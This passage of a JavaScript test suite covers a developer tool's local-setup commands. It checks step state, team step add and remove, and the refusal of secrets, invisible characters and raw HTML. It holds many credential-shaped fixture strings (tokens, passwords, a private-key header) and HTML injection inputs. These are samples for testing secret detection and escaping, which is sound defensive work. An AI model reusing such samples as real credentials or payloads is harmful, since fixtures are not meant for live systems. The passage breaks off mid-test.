+ assert.equal(quiet(() => runLocalSetupSkip(dir, { ids: ['docker'], reason: ' ' })).code, 1);
488
+ assert.equal(quiet(() => runLocalSetupSkip(dir, { ids: ['docker', 'yadflow-cli'], reason: 'x' })).code, 1, 'one id');
489
+ assert.equal(quiet(() => runLocalSetupSkip(dir, { ids: ['docker'], reason: 'a\u001b[2Jb' })).code, 1, 'one plain line');
490
+ quiet(() => runLocalSetupSkip(dir, { ids: ['docker'], reason: 'I run the API in the cloud' }));
491
+ let docker = stateOf(dir, 'docker');
492
+ assert.equal(docker.state, 'skipped');
493
+ assert.equal(docker.reason, 'I run the API in the cloud');
494
+ const section = quiet(() => localSetupSection(dir)).value;
495
+ assert.deepEqual(section.skipped, ['docker']);
496
+ assert.ok(!section.ask.includes('docker') && !section.pending.includes('docker'));
497
+
498
+ // A skipped step yad checks still needs its check to pass before `done`.
499
+ const pending = stateOf(dir, 'tool-nowhere');
500
+ quiet(() => runLocalSetupSkip(dir, { ids: [pending.id], reason: 'not for me' }));
501
+ assert.equal(stateOf(dir, pending.id).state, 'skipped', 'a no wins over a check');
502
+ assert.equal(quiet(() => runLocalSetupDone(dir, { ids: [pending.id] })).code, 1);
503
+
504
+ quiet(() => runLocalSetupDone(dir, { ids: ['docker'] }));
505
+ assert.equal(stateOf(dir, 'docker').state, 'done');
506
+
507
+ // The team changes what the step runs: the old answer no longer counts.
508
+ const file = path.join(dir, LOCAL_SETUP_FILE);
509
+ put(file, { ...JSON.parse(read(file)), team: [teamStep({ commands: ['brew install --cask docker@4'] })] });
510
+ execFileSync('git', ['-c', 'user.name=Dev', '-c', 'user.email=dev@example.com', '-c', 'commit.gpgsign=false', 'commit', '-qam', 'docker 4', '--no-verify'], { cwd: dir });
511
+ docker = stateOf(dir, 'docker');
512
+ assert.equal(docker.state, 'ask');
513
+ assert.ok(docker.changed && !docker.recorded && !docker.seen);
514
+ assert.deepEqual(quiet(() => localSetupSection(dir)).value.changed, ['docker']);
515
+ // Its wording alone changes nothing (the hash covers what a step runs).
516
+ quiet(() => runLocalSetupDone(dir, { ids: ['docker'] }));
517
+ put(file, { ...JSON.parse(read(file)), team: [teamStep({ commands: ['brew install --cask docker@4'], purpose: 'runs the API and the queue' })] });
518
+ execFileSync('git', ['-c', 'user.name=Dev', '-c', 'user.email=dev@example.com', '-c', 'commit.gpgsign=false', 'commit', '-qam', 'words', '--no-verify'], { cwd: dir });
519
+ assert.equal(stateOf(dir, 'docker').state, 'done');
520
+ });
521
+
522
+ test('a record that does not parse reads as empty, with a warning, and is never overwritten', () => {
523
+ const dir = committedProduct();
524
+ const file = localSetupRecordPath(dir);
525
+ put(file, '{ not json');
526
+ const rec = readLocalSetupRecord(dir);
527
+ assert.deepEqual(rec.entries, {});
528
+ assert.equal(rec.error, 'does not parse');
529
+ assert.equal(stateOf(dir, 'docker').state, 'ask');
530
+ const r = quiet(() => runLocalSetupDone(dir, { ids: ['docker'] }));
531
+ assert.equal(r.code, 1);
532
+ assert.equal(read(file), '{ not json');
533
+ assert.ok(quiet(() => localSetupSection(dir)).lines.some((l) => /read as empty/.test(l)));
534
+ // An entry of the wrong shape is left out; the others count.
535
+ const hash = stateOf(dir, 'docker').hash;
536
+ put(file, { steps: { docker: { hash, state: 'done' }, other: { hash: 1, state: 'done' }, x: 'no' } });
537
+ assert.deepEqual(Object.keys(readLocalSetupRecord(dir).entries), ['docker']);
538
+ // A write keeps every other entry and key.
539
+ put(file, { note: 'mine', steps: { gone: { hash: 'h', state: 'done', at: 't' } } });
540
+ quiet(() => runLocalSetupSkip(dir, { ids: ['docker'], reason: 'no' }));
541
+ const doc = JSON.parse(read(file));
542
+ assert.equal(doc.note, 'mine');
543
+ assert.ok(doc.steps.gone && doc.steps.docker.state === 'skipped');
544
+ assert.equal(doc.schemaVersion, undefined, 'not a .sdlc file: no shape stamp');
545
+ });
546
+
547
+ test('yad guide and doctor run no check that starts a program: the login step is judged by the record', () => {
548
+ const dir = committedProduct({ platform: 'github', ledger: 'local', git_url: 'https://github.com/o/r.git' });
549
+ const login = stateOf(dir, 'platform-login', { noProgram: true });
550
+ assert.equal(login.state, 'ask');
551
+ assert.match(login.why, /not checked here/);
552
+ // `done` runs the step's real check: here a gh that says it is not signed in, so nothing is recorded.
553
+ if (process.platform !== 'win32') {
554
+ const bin = path.join(tmp(), 'bin');
555
+ put(path.join(bin, 'gh'), '#!/bin/sh\nexit 1\n');
556
+ fs.chmodSync(path.join(bin, 'gh'), 0o755);
557
+ const PATH = process.env.PATH;
558
+ process.env.PATH = `${bin}${path.delimiter}${PATH}`;
559
+ try {
560
+ const r = quiet(() => runLocalSetupDone(dir, { ids: ['platform-login'] }));
561
+ assert.equal(r.code, 1);
562
+ assert.equal(stateOf(dir, 'platform-login', { noProgram: true }).state, 'ask');
563
+ // `skip` needs no check: it starts no gh at all.
564
+ put(path.join(bin, 'gh'), `#!/bin/sh\necho ran >> '${path.join(bin, 'ran')}'\nexit 1\n`);
565
+ quiet(() => runLocalSetupSkip(dir, { ids: ['platform-login'], reason: 'I use the web' }));
566
+ assert.ok(!fs.existsSync(path.join(bin, 'ran')), 'skip started gh');
567
+ assert.equal(stateOf(dir, 'platform-login', { noProgram: true }).state, 'skipped');
568
+ } finally { process.env.PATH = PATH; }
569
+ }
570
+ assert.equal(stateOf(dir, 'yadflow-cli', { noProgram: true }).state, 'ok', 'a check that starts nothing still runs');
571
+ });
572
+
573
+ test('doctor names the steps waiting on this machine, and a record it cannot read; nothing with no script', async () => {
574
+ const { localSetupChecks } = await import('./doctor.mjs');
575
+ const rows = (dir) => { const checks = []; localSetupChecks(checks, dir); return checks; };
576
+ assert.deepEqual(rows(product()), [], 'no script: nothing to say');
577
+ const dir = committedProduct();
578
+ let [row] = rows(dir);
579
+ assert.equal(row.id, 'local-setup');
580
+ assert.equal(row.status, 'warn');
581
+ assert.match(row.message, /docker/);
582
+ assert.match(row.message, /tool-nowhere/);
583
+ quiet(() => runLocalSetupSkip(dir, { ids: ['docker'], reason: 'no' }));
584
+ quiet(() => runLocalSetupSkip(dir, { ids: ['tool-nowhere'], reason: 'no' }));
585
+ assert.ok(!rows(dir).some((r) => r.id === 'local-setup' && /docker|tool-nowhere/.test(r.message)));
586
+ put(localSetupRecordPath(dir), '{');
587
+ row = rows(dir).find((r) => r.id === 'local-setup-record');
588
+ assert.equal(row.status, 'warn');
589
+ assert.match(row.message, /does not parse/);
590
+ });
591
+
592
+ test('through the CLI: done and skip answer in --json, refuse words and flags that do not belong, and the section says what changed', () => {
593
+ const T = tmp();
594
+ const dir = committedProduct();
595
+ let r = yad(T, dir, ['local-setup', 'done', 'docker', '--json']);
596
+ assert.equal(r.code, 0, r.err);
597
+ assert.deepEqual(r.json.done, ['docker']);
598
+ r = yad(T, dir, ['local-setup', 'done', 'docker', 'tool-nowhere', '--json']);
599
+ assert.equal(r.code, 1);
600
+ assert.equal(r.json.ok, false);
601
+ assert.deepEqual(r.json.failing.map((f) => f.id), ['tool-nowhere']);
602
+ r = yad(T, dir, ['local-setup', 'skip', 'tool-nowhere', '--reason', 'not here', '--json']);
603
+ assert.equal(r.code, 0, r.err);
604
+ assert.equal(r.json.skipped, 'tool-nowhere');
605
+ assert.equal(r.json.required, false);
606
+ const list = yad(T, dir, ['local-setup', '--json']).json;
607
+ assert.equal(list.skipped, 1);
608
+ assert.deepEqual(list.steps.find((x) => x.id === 'tool-nowhere').reason, 'not here');
609
+ // Words and flags that do not belong.
610
+ assert.equal(yad(T, dir, ['local-setup', 'done', 'docker', '--reason', 'x']).code, 1);
611
+ assert.equal(yad(T, dir, ['local-setup', 'list', '--reason', 'x']).code, 1);
612
+ assert.equal(yad(T, dir, ['local-setup', 'list', 'docker']).code, 1);
613
+ assert.equal(yad(T, dir, ['local-setup', 'skip', 'docker', 'tool-nowhere', '--reason', 'x']).code, 1);
614
+ assert.equal(yad(T, dir, ['local-setup', 'done']).code, 1);
615
+
616
+ // The team changes what docker runs: the section names it as changed.
617
+ const file = path.join(dir, LOCAL_SETUP_FILE);
618
+ put(file, { ...JSON.parse(read(file)), team: [teamStep({ commands: ['brew install --cask docker@4'] })] });
619
+ execFileSync('git', ['-c', 'user.name=Dev', '-c', 'user.email=dev@example.com', '-c', 'commit.gpgsign=false', 'commit', '-qam', 'docker 4', '--no-verify'], { cwd: dir });
620
+ const { lines, value } = quiet(() => localSetupSection(dir));
621
+ assert.deepEqual(value.changed, ['docker']);
622
+ assert.ok(lines.some((l) => /changed since this machine last answered: docker/.test(l)), lines.join('\n'));
623
+ assert.ok(lines.some((l) => /said no to: tool-nowhere/.test(l)));
624
+ });
625
+
626
+ // ---- E185 part 3 --------------------------------------------------------------------------------
627
+
628
+ test('E185 part 3: a step stays readable — length caps, plain prose, person and addedBy kinds', async () => {
629
+ const { stepProblems, STEP_LIMITS } = await import('./local-setup.mjs');
630
+ assert.deepEqual(stepProblems(teamStep(), 'team'), []);
631
+ assert.deepEqual(stepProblems(teamStep({ purpose: 'two lines\nof purpose', person: true, addedBy: null }), 'team'), [], 'prose may wrap');
632
+ const bad = (extra, re) => assert.ok(stepProblems(teamStep(extra), 'team').some((p) => re.test(p)), JSON.stringify(extra).slice(0, 80));
633
+ bad({ title: 'x'.repeat(STEP_LIMITS.title + 1) }, /title should be one plain line/);
634
+ bad({ title: 'a\nb' }, /title should be one plain line/);
635
+ bad({ purpose: 'x'.repeat(STEP_LIMITS.text + 1) }, /purpose should be plain text/);
636
+ bad({ impact: 'looks​plain' }, /impact should be plain text/);
637
+ bad({ impact: 'bell\u0007' }, /impact should be plain text/);
638
+ bad({ commands: Array.from({ length: STEP_LIMITS.commands + 1 }, () => 'true') }, /at most 10 commands/);
639
+ bad({ commands: ['x'.repeat(STEP_LIMITS.command + 1)] }, /at most 10 commands of at most 500/);
640
+ bad({ verify: 'x'.repeat(STEP_LIMITS.command + 1) }, /verify should be one line/);
641
+ bad({ check: { run: 'x'.repeat(STEP_LIMITS.command + 1) } }, /check should be/);
642
+ bad({ person: 'yes' }, /`person` should be true or false/);
643
+ bad({ addedBy: 7 }, /`addedBy` should be a name/);
644
+ });
645
+
646
+ test('E185 part 3: looksSecret finds a token or a literal key, never a name for where it comes from', async () => {
647
+ const { looksSecret } = await import('./secret-text.mjs');
648
+ for (const s of ['ghp_abcdefghij1234', 'export API_KEY=abcd1234efgh', 'password: "hunter22hunter"', 'curl -H "x" sk-abcdefghijklmnop1234', '-----BEGIN RSA PRIVATE KEY-----']) assert.equal(looksSecret(s), true, s);
649
+ for (const s of ['export API_KEY=$API_KEY', 'token: <your token>', 'password={{ vault }}', 'SECRET=${SECRET}', 'npm i -g pnpm', 'git config commit.gpgsign true', 'see the api key docs']) assert.equal(looksSecret(s), false, s);
650
+ // Review 1: more secrets found, and names for where a value is no longer taken for one.
651
+ for (const s of ['docker login -p hunter2hunter', 'docker login --password hunter2hunter', 'mysql -uroot -phunter2x', 'curl https://user:hunter2x@host', 'postgres://app:secretpw1@localhost/db', 'sk_live_abcdefghijkl12', 'aws configure set aws_secret_access_key abcd1234efgh5678']) assert.equal(looksSecret(s), true, s);
652
+ for (const s of ['kubectl create secret generic app --from-literal=password=supersecret1', 'curl "https://api.example.com/x?user=me&api_key=1234567890abcdef"', 'curl -d foo=bar&token=abcdefgh12345 https://x', 'echo url=https://h/?token=SECRETSECRET123']) assert.equal(looksSecret(s), true, s);
653
+ // Review 3: flags written --name=value, and passwords holding & or =.
654
+ for (const s of ['mytool --api-key=abcdefgh12345', 'mytool --client-secret=abcdefgh12345', 'aws --secret-access-key=abcdefgh12345', 'export DB_PASSWORD=p@ss&w0rd!xyz', 'export DB_PASSWORD=ab=cdefghijklmn', 'export PASSWORD="p&ssword123"']) assert.equal(looksSecret(s), true, s);
655
+ // Review 4: a quoted value is read whole; an empty value before the next name is not one.
656
+ // Review 5: a quoted & value is real; a prompt's closing quote opens nothing.
657
+ for (const s of ['export DB_PASSWORD=";x9Kq2mZp7"', "DB_PASSWORD=';semiStart99'", 'password: "|Ab9xQ2mZ"']) assert.equal(looksSecret(s), true, s);
658
+ for (const s of ["password='&rmd!xyz9'", 'password="&abcdefghij"', 'export DB_PASSWORD="my password here"']) assert.equal(looksSecret(s), true, s);
659
+ for (const s of ['read -sp "Password: " PW && export PW && echo "saved it"', 'read -p "Token: " t; echo "done now"', 'echo "API token: " && cat ~/.tok && echo "ok then"', 'echo "Password:"; read -s PW; echo "done ok"', 'curl "https://h/api?token=&verbose&page=2"', 'echo "Password:";read -s PW;echo "saved"', 'echo "Password:"&&read PW&&echo "done now"', 'printf "password: ";read -s PW;printf "\\n"']) assert.equal(looksSecret(s), false, s);
660
+ for (const s of ['export TOKEN="abc,defghijk"', 'export API_KEY=\'abcd;efghijkl\'', 'export DB_PASSWORD="p@ss,word123"']) assert.equal(looksSecret(s), true, s);
661
+ for (const s of ['token.ttl=36000000', 'cp tokens.json:12345678 x', 'curl "https://x/login?password=&user=administrator"', 'export API_KEY="$API_KEY"', 'export PASSWORD="${PASSWORD}"']) assert.equal(looksSecret(s), false, s);
662
+ for (const s of ['gh auth login && mkdir -p ~/.config/foo', 'aws sso login --profile dev && mkdir -p .aws/cache', 'az login; cp -p src/file dest/file']) assert.equal(looksSecret(s), false, s);
663
+ for (const s of ['export TOKEN_URL=https://auth.example.com/token', 'export PASSWORD_FILE=/etc/secrets/pw', 'export SECRET_NAME=prod-db-creds', 'export API_KEY_HEADER=X-Api-Key', 'docker run -p 8080:80 app', 'mkdir -p build/out', 'postgres://app:$PGPASS@localhost/db', 'git config --global user.signingkey ABCDEF1234567890', 'npm config set //registry.npmjs.org/:_authToken=${NPM_TOKEN}']) assert.equal(looksSecret(s), false, s);
664
+ const { redactTokens } = await import('./scan.mjs');
665
+ assert.equal(redactTokens('a ghp_abcdefghij1234 b'), 'a [redacted] b', 'yad scan still redacts the same way');
666
+ });
667
+
668
+ // A step file the way an agent writes it, outside the repo.
669
+ const stepFile = (T, step) => { const f = path.join(T, `step-${Math.random().toString(36).slice(2)}.json`); put(f, step); return f; };
670
+ const newStep = (extra = {}) => ({ id: 'env-file', title: 'Make your .env', purpose: 'the API reads its settings from .env', impact: 'adds a .env file you keep to yourself', when: 'required', commands: ['cp .env.example .env'], check: { run: 'test -f .env' }, ...extra });
671
+ const gitIn = (dir, ...a) => execFileSync('git', a, { cwd: dir, env: { ...process.env, GIT_CONFIG_GLOBAL: '/dev/null', GIT_CONFIG_NOSYSTEM: '1' }, encoding: 'utf8' });
672
+
673
+ test('E185 part 3: add writes the team step into the script and the view, by yad\'s own rules; remove takes it out', async () => {
674
+ const { runLocalSetupAdd, runLocalSetupRemove } = await import('./local-setup.mjs');
675
+ const dir = committedProduct(undefined, []);
676
+ gitIn(dir, 'config', 'user.name', 'Rana Ali');
677
+ const T = tmp();
678
+ const r = quiet(() => runLocalSetupAdd(dir, { from: stepFile(T, newStep({ person: false })) }));
679
+ assert.equal(r.value.added, 'env-file', r.lines.join('\n'));
680
+ const doc = JSON.parse(read(path.join(dir, LOCAL_SETUP_FILE)));
681
+ const written = doc.team.find((s) => s.id === 'env-file');
682
+ assert.equal(written.addedBy, 'Rana Ali', 'the git name, never the file\'s');
683
+ assert.equal(written.source, undefined);
684
+ assert.equal(written.vetted, undefined);
685
+ assert.ok(doc.yadflow.length > 0, 'yadflow\'s steps kept');
686
+ assert.match(read(path.join(dir, LOCAL_SETUP_DOC)), /Make your \.env/);
687
+ assert.ok(r.lines.some((l) => /commit both/.test(l)));
688
+ gitIn(dir, 'add', '-A');
689
+ gitIn(dir, '-c', 'user.email=r@example.com', '-c', 'commit.gpgsign=false', 'commit', '-qm', 'team step', '--no-verify');
690
+ const st = stateOf(dir, 'env-file', { noProgram: true });
691
+ assert.equal(st.state, 'ask');
692
+ assert.equal(st.source, 'team');
693
+ assert.equal(st.vetted, false);
694
+ const gone = quiet(() => runLocalSetupRemove(dir, { ids: ['env-file'] }));
695
+ assert.equal(gone.value.removed, 'env-file', gone.lines.join('\n'));
696
+ assert.ok(!JSON.parse(read(path.join(dir, LOCAL_SETUP_FILE))).team.some((s) => s.id === 'env-file'));
697
+ assert.doesNotMatch(read(path.join(dir, LOCAL_SETUP_DOC)), /Make your \.env/);
698
+ });
699
+
700
+ test('E185 part 3: add refuses an id taken, keys yad sets, a bad step, a secret, a broken script — and writes nothing', async () => {
701
+ const { runLocalSetupAdd } = await import('./local-setup.mjs');
702
+ const dir = committedProduct();
703
+ const T = tmp();
704
+ const file = path.join(dir, LOCAL_SETUP_FILE);
705
+ const before = read(file);
706
+ const refused = (step, re) => {
707
+ const r = quiet(() => runLocalSetupAdd(dir, { from: typeof step === 'string' ? step : stepFile(T, step) }));
708
+ assert.equal(r.code, 1, r.lines.join('\n'));
709
+ assert.ok(r.lines.some((l) => re.test(l)), `${re}: ${r.lines.join(' | ')}`);
710
+ assert.equal(read(file), before, 'nothing written');
711
+ };
712
+ refused(newStep({ id: 'docker' }), /already one of your team's steps/);
713
+ refused(newStep({ id: 'yadflow-cli' }), /kept for yadflow's own steps/);
714
+ refused(newStep({ id: 'platform-login' }), /kept for yadflow's own steps/);
715
+ refused(newStep({ id: 'tool-docker' }), /kept for yadflow's own steps/);
716
+ refused(newStep({ vetted: true }), /`vetted`, which a step does not take/);
717
+ refused(newStep({ addedBy: 'Someone' }), /`addedBy`, which a step does not take/);
718
+ refused(newStep({ commands: [] }), /cannot be added: it has no commands/);
719
+ refused(newStep({ title: 'x <!-- y' }), /cannot be added/);
720
+ refused(newStep({ commands: ['export API_KEY=abcd1234efgh'] }), /command 1 looks like it holds a secret/);
721
+ refused(newStep({ purpose: 'uses ghp_abcdefghij1234' }), /purpose looks like it holds a secret/);
722
+ refused(path.join(T, 'missing.json'), /cannot read/);
723
+ put(path.join(T, 'bad.json'), '{ nope');
724
+ refused(path.join(T, 'bad.json'), /does not parse as JSON/);
725
+ put(path.join(T, 'list.json'), '[]');
726
+ refused(path.join(T, 'list.json'), /should hold one step/);
727
+ assert.equal(quiet(() => runLocalSetupAdd(dir, { from: stepFile(T, newStep({ commands: ['export API_KEY=$API_KEY'] })) })).value.added, 'env-file', 'a name for where it comes from is fine');
728
+ // A script that does not parse is never replaced.
729
+ put(file, '{ broken');
730
+ const r = quiet(() => runLocalSetupAdd(dir, { from: stepFile(T, newStep({ id: 'other' })) }));
731
+ assert.equal(r.code, 1);
732
+ assert.ok(r.lines.some((l) => /does not parse, so it was not changed/.test(l)), r.lines.join(' | '));
733
+ assert.equal(read(file), '{ broken');
734
+ });
735
+
736
+ test('E185 part 3: remove refuses yadflow\'s steps and ids that are not there', async () => {
737
+ const { runLocalSetupRemove } = await import('./local-setup.mjs');
738
+ const dir = committedProduct();
739
+ const r1 = quiet(() => runLocalSetupRemove(dir, { ids: ['yadflow-cli'] }));
740
+ assert.equal(r1.code, 1);
741
+ assert.ok(r1.lines.some((l) => /one of yadflow's steps.*skip yadflow-cli/.test(l)), r1.lines.join(' | '));
742
+ const r2 = quiet(() => runLocalSetupRemove(dir, { ids: ['nope'] }));
743
+ assert.ok(r2.lines.some((l) => /no team step `nope`/.test(l)));
744
+ assert.equal(quiet(() => runLocalSetupRemove(dir, { ids: [] })).code, 1);
745
+ });
746
+
747
+ test('E185 part 3: add and remove from the CLI, in JSON; on-request for an agent; refused outside a Product', async () => {
748
+ const { classify } = await import('./agent-rules.mjs');
749
+ assert.equal(classify(['local-setup', 'add']), 'on-request');
750
+ assert.equal(classify(['local-setup', 'remove']), 'on-request');
751
+ const dir = committedProduct();
752
+ const T = tmp();
753
+ const add = yad(T, dir, ['local-setup', 'add', '--from', stepFile(T, newStep()), '--json']);
754
+ assert.equal(add.code, 0, add.err + add.out);
755
+ assert.equal(add.json.command, 'local-setup add');
756
+ assert.equal(add.json.added, 'env-file');
757
+ const rm = yad(T, dir, ['local-setup', 'remove', 'env-file', '--json']);
758
+ assert.equal(rm.code, 0, rm.err + rm.out);
759
+ assert.equal(rm.json.removed, 'env-file');
760
+ assert.notEqual(yad(T, dir, ['local-setup', 'add', 'words']).code, 0);
761
+ assert.notEqual(yad(T, dir, ['local-setup', 'list', '--from', 'x.json']).code, 0);
762
+ const plain = tmp();
763
+ assert.notEqual(yad(T, plain, ['local-setup', 'add', '--from', stepFile(T, newStep())]).code, 0);
764
+ assert.equal(fs.existsSync(path.join(plain, LOCAL_SETUP_FILE)), false);
765
+ });
766
+
767
+ test('E185 part 3: the machine section says when the team has no steps of its own yet, and stops once it has', () => {
768
+ const none = committedProduct(undefined, []);
769
+ const a = quiet(() => localSetupSection(none, { invite: true }));
770
+ assert.ok(!quiet(() => localSetupSection(none)).lines.some((l) => /no steps from your team yet/.test(l)), 'only on setup and update');
771
+ assert.ok(a.lines.some((l) => /no steps from your team yet — add this project's own with `yad local-setup add/.test(l)), a.lines.join('\n'));
772
+ const some = committedProduct();
773
+ const b = quiet(() => localSetupSection(some, { invite: true }));
774
+ assert.ok(!b.lines.some((l) => /no steps from your team yet/.test(l)), b.lines.join('\n'));
775
+ });
776
+
777
+ // ---- E185 part 3, review 1 -------------------------------------------------------------------------
778
+
779
+ test('E185 part 3 review 1: nothing hidden passes — variation selectors, blank fillers, half a character pair', async () => {
780
+ const { stepProblems } = await import('./local-setup.mjs');
781
+ for (const ch of ['\u{FE0F}', '\u{E0100}', '\u{E0141}', '\u3164', '\u115F', '\uFFA0', '\u2800', '\ud800']) {
782
+ assert.ok(stepProblems(teamStep({ purpose: `hi${ch}there` }), 'team').length, `purpose with U+${ch.codePointAt(0).toString(16)}`);
783
+ assert.ok(stepProblems(teamStep({ commands: [`echo a${ch}b`] }), 'team').length, `command with U+${ch.codePointAt(0).toString(16)}`);
784
+ }
785
+ });
786
+
787
+ test('E185 part 3 review 1: the view writes a step\'s HTML as text', () => {
788
+ const lines = localSetupDocLines({ yadflow: [], team: [teamStep({ title: '<details open><summary>ok</summary>', purpose: 'see <img src=x> & more' })] }).join('\n');
789
+ assert.ok(!lines.includes('<details'), lines);
790
+ assert.match(lines, /&lt;details open&gt;/);
791
+ assert.match(lines, /see &lt;img src=x&gt; &amp; more/);
792
+ });
793
+
794
+ test('E185 part 3 review 1: add writes only the team list, refuses when the view cannot follow, and when there is no script yet', async () => {
795
+ const { runLocalSetupAdd } = await import('./local-setup.mjs');
796
+ const dir = committedProduct(undefined, []);
797
+ const T = tmp();
798
+ const file = path.join(dir, LOCAL_SETUP_FILE);
799
+ // yadflow's part on disk is left exactly as it is (another yad must not rewrite it in a team's commit).
800
+ const doc = JSON.parse(read(file));
801
+ put(file, { ...doc, catalogueVersion: 999, yadflow: doc.yadflow.slice(0, 1) });
802
+ assert.equal(quiet(() => runLocalSetupAdd(dir, { from: stepFile(T, newStep()) })).value.added, 'env-file');
803
+ const after = JSON.parse(read(file));
804
+ assert.equal(after.catalogueVersion, 999);
805
+ assert.equal(after.yadflow.length, 1);
806
+ // A view whose markers yad cannot trust refuses the change: the JSON and the view never disagree.
807
+ const view = path.join(dir, LOCAL_SETUP_DOC);
808
+ put(view, `${read(view).replace(/<!-- yadflow:local-setup:end[^\n]*-->/, '')}`);
809
+ const before = read(file);
810
+ const r = quiet(() => runLocalSetupAdd(dir, { from: stepFile(T, newStep({ id: 'second' })) }));
811
+ assert.equal(r.code, 1, r.lines.join('\n'));
812
+ assert.ok(r.lines.some((l) => /nothing was written: LOCAL-SETUP\.md cannot be updated/.test(l)), r.lines.join(' | '));
813
+ assert.equal(read(file), before);
814
+ // No script yet: setup and update write it, add never makes one up.
815
+ fs.rmSync(file);
816
+ const n = quiet(() => runLocalSetupAdd(dir, { from: stepFile(T, newStep({ id: 'third' })) }));
817
+ assert.ok(n.lines.some((l) => /is not here yet — `yad check --fix`/.test(l)), n.lines.join(' | '));
818
+ assert.equal(fs.existsSync(file), false);
819
+ });
820
+
821
+ test('E185 part 3 review 1: a committed team step that breaks a rule is said, and the invite is not shown; add says why the id is taken', async () => {
822
+ const { runLocalSetupAdd } = await import('./local-setup.mjs');
823
+ const dir = committedProduct(undefined, [teamStep({ id: 'env-file', commands: Array.from({ length: 11 }, () => 'true') })]);
824
+ const s = quiet(() => localSetupSection(dir, { invite: true }));
825
+ assert.ok(s.lines.some((l) => /1 part\(s\) of \.sdlc\/local-setup\.json are left out because they break a rule/.test(l)), s.lines.join('\n'));
826
+ assert.ok(!s.lines.some((l) => /no steps from your team yet/.test(l)));
827
+ const r = quiet(() => runLocalSetupAdd(dir, { from: stepFile(tmp(), newStep()) }));
828
+ assert.ok(r.lines.some((l) => /already one of your team's steps \(one yad ignores now/.test(l)), r.lines.join(' | '));
829
+ });
830
+
831
+ test('E185 part 3 review 1: --from is read from where yad runs, and only as a file', async () => {
832
+ const dir = committedProduct();
833
+ const T = tmp();
834
+ put(path.join(T, 'steps', 'env.json'), newStep());
835
+ const r = yad(T, T, ['local-setup', 'add', '--from', 'steps/env.json', '--dir', dir, '--json']);
836
+ assert.equal(r.code, 0, r.err + r.out);
837
+ assert.equal(r.json.added, 'env-file');
838
+ const { runLocalSetupAdd } = await import('./local-setup.mjs');
839
+ const d = quiet(() => runLocalSetupAdd(dir, { from: T }));
840
+ assert.ok(d.lines.some((l) => /cannot read .* as a file/.test(l)), d.lines.join(' | '));
841
+ });
842
+
843
+ test('E185 part 3 review 2: a toolbox tool takes the step limits when it is entered; a file written before still reads', async () => {
844
+ const { customProblems, enteredToolProblems } = await import('./toolbox.mjs');
845
+ const tool = { id: 'mytool', role: 'does a thing', fallback: 'nothing', detect: { bins: ['mytool'] } };
846
+ assert.deepEqual(enteredToolProblems(tool), []);
847
+ assert.ok(enteredToolProblems({ ...tool, role: 'x'.repeat(401) }).some((p) => /role is one plain line/.test(p)));
848
+ assert.ok(enteredToolProblems({ ...tool, fallback: 'a\tb' }).some((p) => /fallback is one plain line/.test(p)));
849
+ assert.ok(enteredToolProblems({ ...tool, install: [{ type: 'script', command: 'x'.repeat(501) }] }).some((p) => /install holds at most/.test(p)));
850
+ // Custom tools shipped in 4.2.0: one already in a team's file keeps counting, whatever its length.
851
+ assert.deepEqual(customProblems({ ...tool, role: `${'x'.repeat(500)}\nmore`, install: [{ type: 'script', command: 'x'.repeat(900) }] }), []);
852
+ });
853
+
854
+ // ---- E185 part 3, review 2 -------------------------------------------------------------------------
855
+
856
+ test('E185 part 3 review 2: looksSecret reads long text in time that grows with its length', { timeout: 10000 }, async () => {
857
+ const { looksSecret } = await import('./secret-text.mjs');
858
+ const t = Date.now();
859
+ for (const s of ['a'.repeat(160000), 'a=b'.repeat(50000), 'a:/'.repeat(50000), 'x://y'.repeat(30000), ' login -p'.repeat(20000)]) looksSecret(s);
860
+ assert.ok(Date.now() - t < 3000, `${Date.now() - t} ms`);
861
+ assert.equal(looksSecret(`${'x'.repeat(3000)} export API_KEY=abcd1234efgh`), true, 'a secret far into a long line is still found');
862
+ });
863
+
864
+ test('E185 part 3 review 2: the invite is update\'s, not check --fix\'s; a team list that is not a list is said; code spans keep their text', async () => {
865
+ const { reconcile } = await import('./reconcile.mjs');
866
+ const dir = committedProduct(undefined, []);
867
+ const fix = quiet(() => reconcile(dir, { fix: true }));
868
+ await fix.value;
869
+ assert.ok(!fix.lines.some((l) => /no steps from your team yet/.test(l)), 'check --fix');
870
+ const up = quiet(() => reconcile(dir, { fix: true, scope: 'changed', invite: true }));
871
+ await up.value;
872
+ assert.ok(up.lines.some((l) => /no steps from your team yet/.test(l)), up.lines.join('\n'));
873
+ const odd = committedProduct(undefined, { not: 'a list' });
874
+ const s = quiet(() => localSetupSection(odd, { invite: true }));
875
+ assert.ok(s.lines.some((l) => /left out because they break a rule/.test(l)), s.lines.join('\n'));
876
+ assert.ok(!s.lines.some((l) => /no steps from your team yet/.test(l)));
877
+ // Review 3: code spans are escaped too — telling them apart is what let HTML through.
878
+ for (const purpose of ['a `<details>`` b', 'a \\`<details>` b', 'a ```<b>`` c', 'run `make <target>` & see <b>']) {
879
+ const view = localSetupDocLines({ yadflow: [], team: [teamStep({ purpose })] }).join('\n');
880
+ assert.ok(!/<(?:details|b|target)>/.test(view), view);
881
+ }
882
+ });
883
+
884
+ test('E185 part 3 review 2: an invisible character Unicode only marks as ignorable is refused too', async () => {
885
+ const { stepProblems } = await import('./local-setup.mjs');
886
+ for (const ch of ['\u034F', '\u17B4', '\u17B5']) assert.ok(stepProblems(teamStep({ commands: [`echo a${ch}b`] }), 'team').length, `U+${ch.codePointAt(0).toString(16)}`);
887
+ });
888
+
889
+ test('E185 part 3 review 2: a pipe given as --from is refused, never read', { skip: process.platform === 'win32' }, async () => {
890
+ const { runLocalSetupAdd } = await import('./local-setup.mjs');
891
+ const dir = committedProduct();
892
+ const fifo = path.join(tmp(), 'step.pipe');
893
+ execFileSync('mkfifo', [fifo]);
894
+ const r = quiet(() => runLocalSetupAdd(dir, { from: fifo }));
895
+ assert.equal(r.code, 1);
896
+ assert.ok(r.lines.some((l) => /cannot read .* as a file/.test(l)), r.lines.join(' | '));
897
+ });
898
+
899
+ test('E185 part 3 review 3: a tool already in toolbox.json whose words break a step limit keeps counting; only its step is left out', () => {
900
+ const dir = committedProduct(undefined, []);
901
+ const tool = { ...MISSING_TOOL, id: 'longtool', role: `does ${'a lot '.repeat(120)}`.trim() };
902
+ put(path.join(dir, '.sdlc/toolbox.json'), { custom: [MISSING_TOOL, tool] });
903
+ const T = tmp();
904
+ const list = yad(T, dir, ['toolbox', 'list', '--json']);
905
+ assert.equal(list.code, 0, list.err + list.out);
906
+ const listed = JSON.stringify(list.json);
907
+ assert.match(listed, /"id":"longtool"/, 'the tool is listed by its id');
908
+ const r = quiet(() => localSetupActions(dir));
909
